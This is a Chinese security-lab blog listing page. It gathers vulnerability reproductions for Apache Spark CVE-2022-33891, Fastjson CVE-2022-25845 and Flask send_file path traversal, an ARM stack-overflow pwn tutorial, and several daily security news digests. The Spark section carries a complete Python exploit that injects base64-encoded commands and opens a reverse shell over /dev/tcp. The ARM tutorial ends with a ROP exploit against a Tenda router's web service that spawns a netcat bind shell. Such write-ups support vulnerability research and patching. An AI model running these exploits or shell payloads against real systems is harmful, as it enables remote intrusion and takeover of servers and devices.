CVE-2022-33891 Apache spark shell 命令注入漏洞复现
简介 Spark 是用于大规模数据处理的统一分析引擎。它提供了 Scala、Java、Python 和 R 中的高级 API,以及支持用于数据分析的通用计算图的优化引擎。它还支持一组丰富的高级工具,包括用于 SQL 和 DataFrames 的 Spark SQL、用于 Pandas 工作负载的 Spark 上的 Pandas API、用于机器学习的 MLlib、用于图形处理的 GraphX 和用于流处理的结构化流。 影响版本 Apache spark version<3.0.3 3.1.1<Apache spark version<3.1.2 Apache Spark version>= 3.3.0 环境搭建 目前官网上已经找不到老版本的docker镜像了 搜索老版本的也是为空 这里环境搭建的时使用的是github上私人仓库的镜像,下载地址 https://github.com/big-data-europe/docker-spark需要修改配置文件,下载存在漏洞的版本,修改dockerfile,V3.1.1 修改版本 docker-compose up -d 访问 http:10.10.10.32:8080 这里测试是不存在漏洞的,需要修改配置文件 echo "spark.acls.enable true" >> conf/spark-defaults.conf POC如下: #!/usr/bin/env python3 import requests import argparse import base64 import datetime parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script') parser.add_argument('-u', '--url', help='URL to exploit.', required=True) parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True) parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.") parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.') parser.add_argument('-lp', '--listeningport', help='Your listening host port.') parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test") args = parser.parse_args() full_url = f"{args.url}:{args.port}" def check_for_vuln(url):   print("[*] Attempting to connect to site...")   r = requests.get(f"{full_url}/?doAs='testing'", allow_redirects=False)   if r.status_code != 403:       print("[-] Does not look like an Apache Spark server.")       quit(1)   elif "org.apache.spark.ui" not in r.content.decode("utf-8"):       print("[-] Does not look like an Apache Spark server.")       quit(1)   else:       print("[*] Performing sleep test of 10 seconds...")       t1 = datetime.datetime.now()       run_cmd("sleep 10")       t2 = datetime.datetime.now()       delta = t2-t1       if delta.seconds < 10:           print("[-] Sleep was less than 10. This target is probably not vulnerable")       else:           print("[+] Sleep was 10 seconds! This target is probably vulnerable!")       exit(0) def cmd_prompt():   # Provide user with cmd prompt on loop to run commands   cmd = input("> ")   return cmd def base64_encode(cmd):   message_bytes = cmd.encode('ascii')   base64_bytes = base64.b64encode(message_bytes)   base64_cmd = base64_bytes.decode('ascii')   return base64_cmd def run_cmd(cmd):   try:       # Execute given command from cmd prompt       #print("[*] Command is: " + cmd)       base64_cmd = base64_encode(cmd)       #print("[*] Base64 command is: " + base64_cmd)       exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"       exploit_req = f"{full_url}{exploit}"       print("[*] Full exploit request is: " + exploit_req)       requests.get(exploit_req, allow_redirects=False)   except Exception as e:       print(str(e)) def revshell(lhost, lport):   print(f"[*] Reverse shell mode.\n[*] Set up your listener by entering the following:\n nc -nvlp {lport}")   input("[!] When your listener is set up, press enter!")   rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"   run_cmd(rev_shell_cmd) def main():   if args.check and args.revshell:       print("[!] Please choose either revshell or check!")       exit(1)   elif args.check:       check_for_vuln(full_url)   # Revshell   elif args.revshell:       if not (args.listeninghost and args.listeningport):           print("[x] You need a listeninghost and listening port!")           exit(1)       else:           lhost = args.listeninghost           lport = args.listeningport           revshell(lhost, lport)   else:       # "Interactive" mode       print("[*] \"Interactive\" mode!\n[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.")       while True:           command_to_run = cmd_prompt()           run_cmd(command_to_run) if __name__ == "__main__":   main() 如果失败的话重建项目,使用下面这个文件起docker可能是镜像的问题,不同的仓库内的Apache spark配置不同,这个版本是V3.0.0的 version: '2' services: spark:   image: docker.io/bitnami/spark:3.0.0   environment:     - SPARK_MODE=master     - SPARK_RPC_AUTHENTICATION_ENABLED=no     - SPARK_RPC_ENCRYPTION_ENABLED=no     - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no     - SPARK_SSL_ENABLED=no   ports:     - '8080:8080' 访问 http://192.168.0.112:8080/ 修改配置文件 docker exec -it 8a /bin/bash I have no name!@8a7873e77c46:/opt/bitnami/spark$ echo "spark.acls.enable true" >> conf/spark-defaults.conf I have no name!@8a7873e77c46:/opt/bitnami/spark$ cat conf/spark-defaults.conf 已追加配置,重启docker root@ubuntu:/home/ubuntu/Desktop/spark# docker-compose up -d 使用poc去生成payload,或者手动也可,但是执行的命令要使用echo写入执行且做base64编码后解码生效。 但是看不到回显,直接反弹shell python 2.py -u http://192.168.0.112 -p 8080 --revshell -lh 192.168.0.121 -lp 4444 查看连接状态 漏洞成因 漏洞成因是由于Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。使用身份验证过滤器,这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了 ACL,则 HttpSecurityFilter 中的代码路径可以允许某人通过提供任意用户名来执行模拟。然后,恶意用户可能能够访问权限检查功能,该功能最终将根据他们的输入构建一个 Unix shell 命令并执行,导致任意 shell 命令执行。 参考:https://spark.apache.org/security.html 修复建议 1.建议升级到安全版本,参考官网链接: https://spark.apache.org/downloads.html2.安全设备路径添加黑名单或者增加WAF规则(临时方案)。
网络安全日报 2022年07月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、SonicWall 警告严重的 GMS SQL 注入漏洞 https://www.securityweek.com/sonicwall-warns-critical-gms-sql-injection-vulnerability 2、以色列间谍软件公司利用的 Chrome 漏洞也影响 Edge、Safari https://www.securityweek.com/chrome-flaw-exploited-israeli-spyware-firm-also-impacts-edge-safari 3、新版Windows 11 默认启用帐户锁定策略防止暴力攻击 https://www.securityweek.com/new-default-account-lockout-policy-windows-11-blocks-brute-force-attacks 4、Drupal 中修补的代码执行和其他漏洞 https://www.securityweek.com/code-execution-and-other-vulnerabilities-patched-drupal 5、540 万个 Twitter 帐户数据遭泄露 https://securityaffairs.co/wordpress/133593/data-breach/twitter-leaked-data.html 6、Grafana 修补可能导致管理员帐户接管的漏洞 https://portswigger.net/daily-swig/grafana-patches-vulnerability-that-could-lead-to-admin-account-takeover 7、TA4563利用EvilNum恶意软件针对欧洲金融实体 https://www.proofpoint.com/us/blog/threat-insight/buy-sell-steal-evilnum-targets-cryptocurrency-forex-commodities 8、乌克兰广播运营商遭到黑客入侵导致播放虚假新闻 https://thehackernews.com/2022/07/ukrainian-radio-stations-hacked-to.html 9、美国数字安全巨头Entrust遭勒索软件攻击数据泄露 https://www.bleepingcomputer.com/news/security/digital-security-giant-entrust-breached-by-ransomware-gang/ 10、攻击者滥用谷歌广告将用户重定向到恶意网站 https://blog.malwarebytes.com/threat-intelligence/2022/07/google-ads-lead-to-major-malvertising-campaign/
网络安全日报 2022年07月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、QakBot新变种通过钓鱼邮件中的HTML文件传播 https://www.fortinet.com/blog/threat-research/new-variant-of-qakbot-spread-by-phishing-emails 2、根据网络安全审查结果,国家网信办对滴滴罚款80.26亿元 https://www.freebuf.com/news/339722.html 3、Atlassian 修补影响多个产品的 Servlet 过滤器漏洞 https://www.securityweek.com/atlassian-patches-servlet-filter-vulnerabilities-impacting-multiple-products 4、思科修补了 Nexus 仪表板中的严重漏洞 https://www.securityweek.com/cisco-patches-severe-vulnerabilities-nexus-dashboard 5、2021 年上半年有600 多个ICS漏洞被披露,超60% 为严重或高危漏洞 https://www.securityweek.com/hundreds-ics-vulnerabilities-disclosed-first-half-2022 6、以往未被检测到的Lightning Framework新恶意软件针对Linux系统 https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/ 7、 8220 Gang 云僵尸网络感染了全球3万多台主机 https://securityaffairs.co/wordpress/133462/cyber-crime/8220-gang-cloud-botnet-spike.html 8、苹果发布安全更新总共修复不同组件的37个漏洞 https://thehackernews.com/2022/07/apple-releases-security-patches-for-all.html 9、英国高温天气导致谷歌和甲骨文云服务中断 https://thehackernews.com/2022/07/us-ftc-vows-to-crack-down-on-illegal.html 10、前Conti 勒索软件成员仍在活跃进行活动 https://www.secrss.com/articles/44699
Fastjson 代码执行 CVE-2022-25845
漏洞简介   Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行   影响版本:1.2.80及以下版本,即<= 1.2.80 漏洞复现   我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加 <dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.82</version> </dependency>   创建文件夹 com.example.fastjson   在下面添加两个 java 文件 package com.example.fastjson; import java.io.IOException; public class Poc extends Exception {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);       } catch (IOException e) {            e.printStackTrace();       }   } }    package com.example.fastjson; import com.alibaba.fastjson.JSON; public class PocDemo {    public static void main(String[] args) {        String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";        JSON.parse(json);   } }   运行 PocDemo 漏洞分析 AutoType   我们知道在 fastjson 1.2.25 后设定了 https://github.com/alibaba/fastjson/wiki/enable_autotype 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*1ucxjwe*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..   不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。   但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类   开启 autoType 后,最终调用的是 config.checkAutoType   com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)   其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*frgjs5*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..,看到具体类的名称 Throwable   我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType   同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()   所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类   为了验证这个猜测,我们修改一下文件 package com.example.fastjson; import java.io.IOException; public class Poc extends Error {    public void setName(String str) {        try {            Runtime.getRuntime().exec(str);       } catch (IOException e) {            e.printStackTrace();       }   } }   依然可以利用成功   继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数   com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException   最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行   如此整个漏洞就分析完成了 漏洞修复   官方提供了以下四种https://github.com/alibaba/fastjson/wiki/security_update_20220523   ● 升级到最新版本1.2.83   ● safeMode加固   ● 升级到fastjson v2   ● noneautotype版本 总结反思   整个漏洞的分析花了很多时间,根据参考文章 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代
网络安全日报 2022年07月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Google 在 Android 中引入 DNS-over-HTTP/3 https://www.securityweek.com/google-introduces-dns-over-http3-android 2、Apple 为 macOS、iOS 发布紧急安全补丁 https://www.securityweek.com/apple-ships-urgent-security-patches-macos-ios 3、Nubeva 正在开发基于密钥拦截技术的勒索加密数据恢复技术 https://www.securityweek.com/can-encryption-key-intercepts-solve-ransomware-epidemic 4、Chrome 103 更新补丁修复高危漏洞 https://www.securityweek.com/chrome-103-update-patches-high-severity-vulnerabilities 5、新的基于Rust的Luna 勒索软件针对 Windows、Linux 和 ESXi 系统 https://securityaffairs.co/wordpress/133454/cyber-crime/luna-ransomware-rust.html 6、建材巨头可耐福遭到 Black Basta 勒索软件攻击 https://www.bleepingcomputer.com/news/security/building-materials-giant-knauf-hit-by-black-basta-ransomware-gang/ 7、Linus Torvalds称 Linux 内核已经解决了"Retbleed"问题 https://www.theregister.com/2022/07/17/linux_5_19_rc7/ 8、FBI将全面升级网络基础设施,拥抱SD-WAN和SASE https://www.secrss.com/articles/44814 9、公安部网安局召开全国网安部门“百日行动”推进会 https://mp.weixin.qq.com/s/sKrHNBeLwlotHJXk-bC4YQ 10、新文件显示美国政府的手机定位数据追踪规模“巨大”,远超之前的认知 https://www.cnbeta.com/articles/tech/1293871.htm
网络安全日报 2022年07月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软解决了 Azure Storage SDK 中的 Padding Oracle 漏洞 https://www.securityweek.com/microsoft-resolves-padding-oracle-vulnerability-azure-storage-sdk 2、广泛使用的 Micodus GPS跟踪器存在严重漏洞允许黑客远程禁用汽车 https://www.securityweek.com/unpatched-micodus-gps-tracker-vulnerabilities-allow-hackers-remotely-disable-cars 3、研究人员发现隐藏多年的macOS 间谍软件-"CloudMensis" https://www.securityweek.com/new-cloudmensis-macos-spyware-used-targeted-attacks 4、APT29 利用 Google Drive、Dropbox 来逃避检测 https://securityaffairs.co/wordpress/133409/apt/apt29-google-drive-dropbox.html 5、新的气隙攻击使用 SATA 电缆作为天线传输无线电信号 https://thehackernews.com/2022/07/new-air-gap-attack-uses-sata-cable-as.html 6、FBI 警告虚假加密货币应用程序正在欺骗数百万投资者 https://threatpost.com/fbi-warns-fake-crypto-apps/180245/ 7、印度旅游预订平台 Cleartrip 确认数据泄露 https://techcrunch.com/2022/07/18/cleartrip-data-breach-dark-web/ 8、Blitz.js中的原型污染漏洞可能导致远程代码执行 https://portswigger.net/daily-swig/prototype-pollution-in-blitz-js-leads-to-remote-code-execution 9、Accusoft ImageGear 中的安全问题可能导致内存损坏、代码执行 https://blog.talosintelligence.com/2022/07/accusoft-vuln-spotlight-.html 10、UNI token空投钓鱼攻击成功窃取Uniswap 800万美元 https://www.4hou.com/posts/MB9G
ARM PWN基础教程
一、前言 在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。 二、前置知识 指令集 Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。 寄存器 寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器: R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果 在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中 R7寄存器在函数调用中负责存储系统调用号 R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 R13寄存器SP(堆栈指针)指向堆栈的顶部 R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数) R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。 ARM指令 这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。 指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用 这里需要单独介绍一下LDR和STR两个指令 LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器 STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中 三、例题讲解 这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得   https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell amalll@A-M:~/AM$ checksec pwn [*] '/home/amalll/AM/pwn'   Arch:     arm-32-little   RELRO:   Partial RELRO   Stack:   No canary found   NX:       NX enabled   PIE:     No PIE (0x8000) amalll@A-M:~/AM$ file pwn pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped 因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。 这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。 +-------------+ | "a" * 112   | +-------------+ | pop_gadget | <- return address +-------------+ |   /bin/sh   | +-------------+ |     0       | +-------------+ | system_addr | +-------------+ 思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序 qemu-arm-static -g 1234 -L . ./pwn 然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移 最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。 确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget 0x00020904: pop {r0, r4, pc}; EXP from pwn import * p = process(['qemu-arm-static',"-L", "./", "./pwn"]) pop_r0_r4_pc = 0x00020904 system = 0x000110B4 sh = 0x006C384 payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system) p.sendafter("Input ~ if you want to quit", "\n") p.send(payload) p.interactive() 四、实战演示 这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。 我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。 这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。 与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾 凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击 import requests from pwn import * url = 'http://192.168.2.1/goform/SetFirewallCfg' libc = ELF("./lib/libc.so.0") base = 0xff592000 system = base+libc.sym['system'] pop_r0_pc = base+0x0003db80 # pop {r0, pc}; stack = 0xfffef2c0 pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system) pl+= 'nc -lp 8888 -e /bin/sh;\x00' data = {'firewallEn':pl} requests.post(url, data=data) 推荐实验: https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246
网络安全日报 2022年07月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Juniper 修复了200多个第三方组件漏洞 https://www.securityweek.com/juniper-networks-patches-over-200-third-party-component-vulnerabilities 2、阿尔巴尼亚政府遭大规模网络攻击 https://securityaffairs.co/wordpress/133363/cyber-warfare-2/albania-cyber-attack.html 3、研究人员发布Windows NFS 远程代码执行漏洞分析报告 https://securityaffairs.co/wordpress/133355/security/cve-2022-30136-windows-nfs-rce.html 4、FPL 增加2FA缓解账号被黑客接管的安全风险 https://portswigger.net/daily-swig/fantasy-premier-league-football-app-introduces-2fa-to-tackle-account-takeover-hacks 5、黑客通过欺骗性提交元数据创建恶意GitHub存储库 https://www.hackread.com/hackers-spoof-commit-metadata-false-github-repositories/ 6、研究人员发现西门子解决方案中存在多个零日漏洞 https://www.fortinet.com/blog/threat-research/fortinet-researchers-discover-vulnerabilities-in-siemens-solutions 7、加拿大蒙莫伦西学院遭到网络攻击导致数据泄露 https://www.zataz.com/le-college-canadien-montmorency-sous-les-coups-dune-fuite-de-donnees/ 8、公安机关网安部门:重拳打击窃听窃照及偷拍偷窥违法犯罪 https://www.ithome.com/0/629/618.htm 9、 调查:智慧工厂未做好网络攻击应对准备 https://www.secrss.com/articles/44717 10、科技公司纷纷反对,英国网络安全法案搁置 https://www.cnbeta.com/articles/tech/1292687.htm
Flask send_file函数导致的绝对路径遍历
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习 send_file 的妙用 在以 flask 框架开发的系统中,为了直接实现用户访问某一个 URL 时就可以下载到文件,我们就使用 send_file 来实现 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path) if __name__ == '__main__':    app.run() 我们看到 如此运行的效果是直接返回了文件的内容,浏览器并没有识别成一个文件下载下来。 要想让浏览器识别成为文件下载的话,只需要加上 as_attachment=True from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "test.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()       当下载的文件名是中文时 from flask import Flask from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    path = "测试.txt"    return send_file(path, as_attachment=True) if __name__ == '__main__':    app.run()    Content-Disposition: https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。    漏洞分析 漏洞的触发是在 send_file 中,我们跟进看一下 flask.helpers.send_file 继续跟进查看 werkzeug.utils.send_file 我们在本地构造一个简单的语句进行尝试 >>> import os.path >>> _root_path = "path/to/mySafeStaticDir" >>> path_or_file = "/../../../../../../../etc/passwd" >>> os.path.join(_root_path,path_or_file) '/../../../../../../../etc/passwd' 我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时,我们控制恶意参数输入绝对路径,os.path.join 会完全忽略静态目录。所以,当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时,可能会目录遍历攻击。 漏洞复现 我们在本地构造简单的代码进行测试,获取从外部传入的参数 filename from flask import Flask, request from flask import send_file app = Flask(__name__) @app.route('/download') def downloadFile():    filename = request.args.get('filename')    return send_file(filename, as_attachment=True) if __name__ == '__main__':    app.run() 通过控制 filename 为绝对路径,就实现了目录穿越漏洞    总结反思 这个漏洞非常的有趣,漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。 这个漏洞虽然很简单,但是在 github 上很多用 python 开发的项目都用了这个函数,如果不加以修复,会造成很大的危害。
网络安全日报 2022年07月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、'Mantis' DDoS 僵尸网络在一个月内攻击了1000多个组织 https://www.securityweek.com/powerful-mantis-ddos-botnet-hits-1000-organizations-one-month 2、Google Play将删除"应用程序权限列表"以添加新的"数据安全"部分 https://thehackernews.com/2022/07/google-removes-app-permissions-list.html 3、流行的 NFT 平台 Premint NFT 被窃取了 314 个 NFT https://securityaffairs.co/wordpress/133339/cyber-crime/crooks-stole-375k-from-premint-nft-it-is-one-of-the-biggest-nft-hacks-ever.html 4、Netwrix Auditor 应用程序中的严重漏洞允许任意代码执行 https://securityaffairs.co/wordpress/133310/hacking/netwrix-auditor-flaw.html 5、圣灵勒索软件 (H0lyGh0st) 与朝鲜黑客有关 https://securityaffairs.co/wordpress/133255/hacking/holy-ghost-ransomware-north-korea.html 6、黑客利用 Digium 电话软件中的漏洞攻击 VoIP 服务器 https://securityaffairs.co/wordpress/133293/hacking/digium-phones-attacks.html 7、软件供应商开始修补 Retbleed CPU 漏洞 https://www.securityweek.com/software-vendors-start-patching-retbleed-cpu-vulnerabilities 8、新的缓存侧通道攻击可以对目标在线用户进行去匿名化 https://thehackernews.com/2022/07/new-cache-side-channel-attack-can-de.html 9、美国DHS 发布关于 Log4j 漏洞和响应的报告,漏洞影响可能会持续数年 https://www.infosecurity-magazine.com/news/dhs-report-log4j-vlnerabilities/ 10、密码破解工具部署Sality恶意软件感染工业系统 https://www.bleepingcomputer.com/news/security/password-recovery-tool-infects-industrial-systems-with-sality-malware/
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页